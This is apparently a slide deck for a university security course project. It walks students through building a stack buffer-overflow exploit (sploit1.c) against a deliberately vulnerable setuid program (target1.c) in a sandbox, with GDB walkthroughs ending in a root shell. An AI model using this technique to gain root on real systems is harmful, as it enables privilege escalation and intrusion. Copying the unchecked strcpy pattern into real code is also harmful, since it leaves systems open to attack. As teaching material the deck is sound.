Download presentation
Presentation is loading. Please wait.
1
Programming Project # 1 cs155 Due: Thursday, April 21 st, 11:59pm Shayan Guha Elizabeth Stinson
2
Overview You’ll be given the source code for 7 short buggy programs (target[1-7].c). These programs will be installed with setuid root Your job is to write exploits (sploit[1-7].c) that when run as user can get the target programs to run /bin/sh for you as root Each ‘sploit basically execve’s its corresponding target with a buffer as its parameter – all you have to do is craft that buffer appropriately. All of this will be done in a sandbox – “Do no evil”
3
Getting the code ssh into ONE OF THE FIRST FIVE RAPTOR MACHINES Create a cs155 directory to store the targets + sploits in your afs space Then from that directory do: $ tar -xvzf /usr/class/cs155/projects/pp1/cs155- pp1.tar.gz Create a directory in the /tmp partition of one of the first five raptor machines – this is where you’ll store the sandbox’s file system image (cow) cd /tmp mkdir mkdir
4
More getting started… Open an xterm window, then set up environment from it: raptor2:/tmp/stinson> setenv BOXESDIR /var/tmp/boxes raptor2:/tmp/stinson> setenv BOXESHOME /tmp/stinson raptor2:/tmp/stinson> setenv PATH /var/tmp/boxes:$PATH Put this in your.cshrc file
5
Running boxes Then start up boxes: raptor9:/tmp/stinson> xterm –e $BOXESDIR/string & starts up the “switch daemon”; leave this running raptor9:/tmp/stinson> $BOXESDIR/openbox cow1 10.64.64.64 We all use the same IP? Yes. It’s a virtual IP for a virtual network. Note: openbox vs. closedbox Openbox: changes you make to files mounted on boxes will filter down Need to be running openbox in order to issue mount ? I think so. Closedbox: what we’ll be testing with
6
Now what? A virtual console should pop up There are two accounts on these boxes: Username: userPassword: user Username: rootPassword: root Log in as root
7
More getting started Then should see: box:~# box:~# Do: box:~# TERM=vt100 box:~# TERM=vt100 box:~# cd /etc box:~# nano inittab OPTIONAL – to popup more consoles when you run boxes, edit “inittab” via uncommenting out lines: ##2:23:respawn:/sbin/getty 38400 vc/2 ##3:23:respawn:/sbin/getty 38400 vc/3
8
More… Now those lines in inittab should look like: 2:23:respawn:/sbin/getty 38400 vc/2 3:23:respawn:/sbin/getty 38400 vc/3 CNTRL-X and save your changes (they will be saved to the cow so that you won’t have to re- execute these steps every time) Then do:box:~# halt Only root can halt ; causes all consoles to close…
9
finally… Then restart via: raptor9:/tmp/stinson> $BOXESDIR/openbox cow1 10.64.64.64 Then log in as root again and: box:~# mount none -t hostfs /mnt –o /afs/ir/users/s/t/stinson/cs155/pp1
10
Whoops, a bit more Then you’ll need to: Copy the sploits dir to ~user chown user:user ~user/* Copy the individual targets to /tmp cd to /tmp chown root:root for each of the targets Make the targets setuid the targets - chmod 4755 for each of the target binaries
11
Will I have to do that all every time? No. Be aware that the /tmp partitions get cleaned out periodically (about every week); so your cow image may be lost! zip it up when you’re taking a break between exploits and copy it into your afs space. The /tmp directory for boxes will also be cleaned everytime you restart it – so copy the code from /tmp to /root before you shut it down
12
Boxes resources Please see… (a) boxes/FAQ a bit on setting up boxes a bit on gcc stack alignment plus other misc (b) boxes/README more on the boxes system
13
GDB GDB: http://www.sens.buffalo.edu/UBiquity/software/gnu/doc/web/share/doc/gdb/html/gdb/ http://www.sens.buffalo.edu/UBiquity/software/gnu/doc/web/share/doc/gdb/html/gdb/ Google “Using GDB: A Guide to the GNU Source-Level Debugger” See especially: Examining Stack Data x/a : to print contents of an address (word) x/a buf prints first 4 bytes of buf variable x/a buf prints first 4 bytes of buf variable Press to walk up the stack 4 bytes at a time x/s : to print a string Registers : $sp (stack pointer); $fp (frame pointer); $pc (program counter) p/x $pc : to print the program counter in hex x/i $pc : to print the instruction to be executed next info registers : to print all regs + their values Looking at assembly: disassemble Looking at assembly: disassemble
14
IA-32 references Go here: http://developer.intel.com/design/pentium4/manuals/index_new.htm#sdm_vol1 http://developer.intel.com/design/pentium4/manuals/index_new.htm#sdm_vol1 See in particular pages 137-160 of this: ftp://download.intel.com/design/Pentium4/manuals/25366514.pdf HTML list of all IA-32 assembly: http://www.cs.tut.fi/~siponen/upros/intel/
15
IA-32 review $esp : Stack Pointer (SP) : points to the bottom of the stack (lowest mem address) Points to last used word in stack or next available word location on stack (implementation dependent) $ebp : Frame Pointer (FP) : points to fixed location within an activation record (stack frame) If $ebp for some stack frame is stored at addy X then $eip for that frame is stored at addy X + 4 Used to reference local vars and parameters since the distance from any of those to the frame pointer will not change whereas the distance from those to the stack pointer will (as other functions are called and the stack pointer is decrem’d …) $eip : instruction pointer (aka $ra) “The instruction pointer (EIP) register contains the offset in the current code segment for the next instruction to be executed.”
16
More IA-32 review When CALL procedure p(), Push eip : the return address ($ra) Push ebp : saves previous frame pointer Copy sp into fp : ebp = esp The new AR’s frame pointer will be the previous value of the stack pointer Advance sp (esp) for allocations on stack (that is, decrement it) – done via the push instruction When LEAVE procedure p(), This process is reversed Load ebp into esp Restore ebp from the stack
17
Interaction between EIP, EBP, ESP During CALL, value of eip register pushed onto stack Before RET, programmer should make sure that stack pointer (esp) is pointing to the eip on the stack; does this via: Move contents of $ebp into $esp Increment $esp by 4 $esp should now point to (contain addy of) $eip RET will load the value stored in $esp into the $eip register then jump to that value
18
Stack Layout void function( int a, int b, int c ) { char buf1[5]; char buf2[10]; }Stack: c b a $ra [ eip ] $ra [ eip ] ebp $fp [ ebp ] buf1 – word aligned (so takes 8 bytes, not 5) buf1 – word aligned (so takes 8 bytes, not 5) buf2 – word aligned (so takes 12 bytes, not 10) buf2 – word aligned (so takes 12 bytes, not 10) esp [ esp points somewhere down here… ]
19
Stack Layout – function return void function( int a, int b, int c ) { char buf1[5]; char buf2[10]; }Stack: ebp [top of caller’s function stack] ebp [top of caller’s function stack] c b a esp $ra [ eip ] $fp [ ebp ] $fp [ ebp ] buf1 – word aligned (so takes 8 bytes, not 5) buf1 – word aligned (so takes 8 bytes, not 5) buf2 – word aligned (so takes 12 bytes, not 10) buf2 – word aligned (so takes 12 bytes, not 10) [ esp points somewhere down here… ]
20
Hacking references “Smashing the Stack for Fun and Profit” AlephOne, linked to on course site “Exploiting Format String Vulnerabilities” team teso, linked to on course site Chapter 7: Exploiting Software Hoglund & McGraw (not required but nice) Phrack Prof. Boneh’s April 4 th lecture
21
target1.c int foo( char *arg, char *out ) { strcpy( out, arg ); strcpy( out, arg ); return 0; } return 0; } int main( int argc, char *argv[] ) { char buf[64]; char buf[64]; if ( argc != 2 ) { … } if ( argc != 2 ) { … } foo( argv[1], buf ); foo( argv[1], buf ); return 0; } return 0; }
22
Stack in target1 – layout in mem argv[1] == argv[1] == argv[0] == “/tmp/target1” argv[0] == “/tmp/target1” argc argc $ra – to which main() will return $ra – to which main() will return $fp – for main’s stack frame $fp – for main’s stack frame buf[64] buf[64] ptr to buf == “out”// args to foo() ptr to buf == “out”// args to foo() ptr to argv[1] == “arg”// args to foo() ptr to argv[1] == “arg”// args to foo()
23
sploit1 Need: Location of return address (addy on stack where $ra that we’re going to overwrite lives) main() ’s $ra since that’s the $ra *above* the buf so that’s the one we’ll be able to overwrite Not foo() ’s, right? why not? So we know how much we have to overwrite… Address of the buffer (“buf” in target1) So we know what address we want to force the program to jump to
24
More on sploit1 So just run the program using gdb and see where the $fp and the $ra live relative to where the buf (in target1) lives So if buf’s addy is: 0x9ffffe60 And the $ra for main() is at:0x9ffffeac Then we need to make our exploit buffer: 0x9ffffeac – 0x9ffffe60 == 0x4C 76 + 4 So we’ll make it 81 and null terminate it
25
Buf addy Note that the exact addy of the target1 buf will change depending upon how big the buf you allocate in sploit1.c is – since your buf will live *above* the target1 buf on the stack But once you fix your buf size, the addy of the target1 buf on the stack won’t change.
26
Crafting the exploit string Well, we’re going to have the target program jump to the start of our string so we’ll want to put the shellcode (size 45 bytes) at the start of the string (note aleph1 suggestion re: using nops) Then we know that the $ra exists at offset 76 so we need to be sure that our string[76] contains the addy of the target1 buf (0x9ffffe60)
27
sploit1.c … #define SIZE 81 … char string[SIZE];// our attack string char string[SIZE];// our attack string char *ptr = string; // to walk thru string a char at a time char *ptr = string; // to walk thru string a char at a time long *addr_ptr = (long *)string;// to walk thru string a word at a time long *addr_ptr = (long *)string;// to walk thru string a word at a time long addr = 0x9ffffe60; // the addy of the buffer: where we want control to jump to long addr = 0x9ffffe60; // the addy of the buffer: where we want control to jump to int i; int i; for ( i = 0; i < SIZE; i+=4 ) // fill our attack string with the desired $ra for ( i = 0; i < SIZE; i+=4 ) // fill our attack string with the desired $ra *( addr_ptr++ ) = addr; *( addr_ptr++ ) = addr; for ( i = 0; i < strlen( shellcode ); i++ ) // write the shellcode at the beg of the buf for ( i = 0; i < strlen( shellcode ); i++ ) // write the shellcode at the beg of the buf *( ptr++ ) = shellcode[i]; *( ptr++ ) = shellcode[i]; string[ SIZE - 1 ] = '\0';// null terminate our string string[ SIZE - 1 ] = '\0';// null terminate our string
28
Finishing up sploit1.c Then we set: args[1] = string; The rest is unchanged. Re-make. Execute via: user@box:/tmp/sploits$./sploit1 sh-2.05b$ whoami rootsh-2.05b$
29
Debugging user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1 [gdb intro message] (gdb) r (gdb) b main (gdb) b foo (gdb) c (gdb) x/s 0x9fffff91// prints “/tmp/target1” Also, “stepi” “disass” …; see “help”
30
More debugging user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1 is same as: user@box:/tmp/sploits$ gdb (gdb) symbol-file /tmp/target1 (gdb) exec-file sploit1
31
Walking through a working sploit user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1 (gdb) r (gdb) b main (gdb) b foo (gdb) c (gdb) p/x $fp 0x9ffffeb0 [now we’re in main() ] (gdb) p/x $sp 0x9ffffe50 (gdb) p/x $pc 0x8048413 (gdb) x/a buf 0x9ffffe60 (gdb) c (gdb) s[now we’re in foo() ] (gdb) s
32
(gdb) s [back in main() now…] (gdb) x/a buf [contains shellcode now] (gdb) p/x $fp 0x9ffffeb0 (gdb) p/x $sp 0x9ffffe50 (gdb) p/x $pc 0x8048451 (gdb) stepi (gdb) x/i $pc 0x8048456 : leave (gdb) stepi
33
(gdb) x/a $pc 0x8048456 : ret Next instruction exec’d will be ret ; when you call ret : eip = ebp// set the current PC… // …to be the value stored at ebp jump eip // jump to that newly reloaded PC & execute (gdb) x/a $sp 0x9ffffe60 [the contents of $sp] (gdb) stepi 0x9ffffe60 in ?? [we’re in the buf!] (gdb) c sh-2.05b$
34
The stack 0x9ffffef8| 0x9fffff9e| argv[1] : f9e = SHELLCODE 0x9ffffef4| 0x9fffff91| argv[0] : f91 = "/tmp/target1" 0x9ffffef0| 2| argc <SNIP> 0x9ffffeb8| 0x9fffff00| <--- argv[1] : f00 points to NULL 0x9ffffeb4| 0x9ffffef4| <--- argv[0] : ef4 points to f91 0x9ffffeb0| 2| <--- argc 0x9ffffeac| __libc_start_main+198 | <--- $ra : what we want to overwrite 0x9ffffea8| 0x9ffffec8| <--- $fp : frame pointer 0x9ffffea4| 0x9ffffef4| <--- argv[0] : ef4 points to f91 0x9ffffea0| _rtld_global| <--- garbage alignment stuff? 0x9ffffe9c|| ------last word of buf------ <SNIP> 0x9ffffe60|| ------beginning of buf------ 0x9ffffe5c|| 0x9ffffe58|| 0x9ffffe54| 0x9ffffe60| argv[1] <-- points to beginning of buf 0x9ffffe50| 0x9fffff9e| argv[0] <-- points to shellcode 0x9ffffe4c| 0x8048461 | 0x9ffffe4c| 0x8048461 | 0x9ffffe48| 0x9ffffea8| <--- $fp in foo()
35
Details Before the LEAVE instruction, we have esp = 0x9ffffea0 ebp = 0x9ffffef8 Then after the LEAVE instruction, we have esp = 0x9ffffefc == ebp + 4 ebp = 0x9fffff18 So: esp = ebp + 4 (the $ra is stored just above in memory the $fp) Then we jump to the value stored at esp
36
(gdb) disass main 0x08048413 : push %ebp 0x08048414 : mov %esp,%ebp 0x08048416 : sub $0x58,%esp 0x08048419 : and $0xfffffff0,%esp 0x0804841c : mov $0x0,%eax 0x08048421 : sub %eax,%esp 0x08048423 : cmpl $0x2,0x8(%ebp) 0x08048427 : je 0x804844a 0x08048427 : je 0x804844a 0x08048429 : movl $0x8048584,0x4(%esp,1) 0x08048431 : mov 0x80496a4,%eax 0x08048436 : mov %eax,(%esp,1) 0x08048439 : call 0x80482e4 0x0804843e : movl $0x1,(%esp,1) 0x08048445 : call 0x8048304 0x0804844a : lea 0xffffffb8(%ebp),%eax 0x0804844d : mov %eax,0x4(%esp,1) 0x08048451 : mov 0xc(%ebp),%eax 0x08048454 : add $0x4,%eax 0x08048457 : mov (%eax),%eax 0x08048459 : mov %eax,(%esp,1) 0x0804845c : call 0x80483f4 0x0804845c : call 0x80483f4 0x08048461 : mov $0x0,%eax 0x08048466 : leave 0x08048467 : ret End of assembler dump.
37
(gdb) disass foo Dump of assembler code for function foo: 0x080483e4 : push %ebp 0x080483e5 : mov %esp,%ebp 0x080483e7 : sub $0xa8,%esp 0x080483ed : and $0xfffffff0,%esp 0x080483f0 : mov $0x0,%eax 0x080483f5 : sub %eax,%esp 0x080483f7 : lea 0xffffff78(%ebp),%eax 0x080483fd : mov %eax,0xffffff74(%ebp) End of assembler dump.
38
General suggestions / strategy Look at the targets and figure out what you *can* do for each: can you overflow the buffer? If so, by how much? If not, is there a format string vulnerability? No? Other weirdness? Find the weakness first: even if you only have a general idea of what it is Then, read + research Get big picture of what exactly the weakness is and how an attack on that weakness works Get detailed picture of how such an attack works Then figure out how to adapt that model to the specific code you’re given
39
Non suggestions Madly tweak code, using random $ra’s or writing random amounts, … hoping to strike gold. It probably won’t work (certainly not for sploits >= 2).
Similar presentations
© 2025 SlidePlayer.com. Inc.
All rights reserved.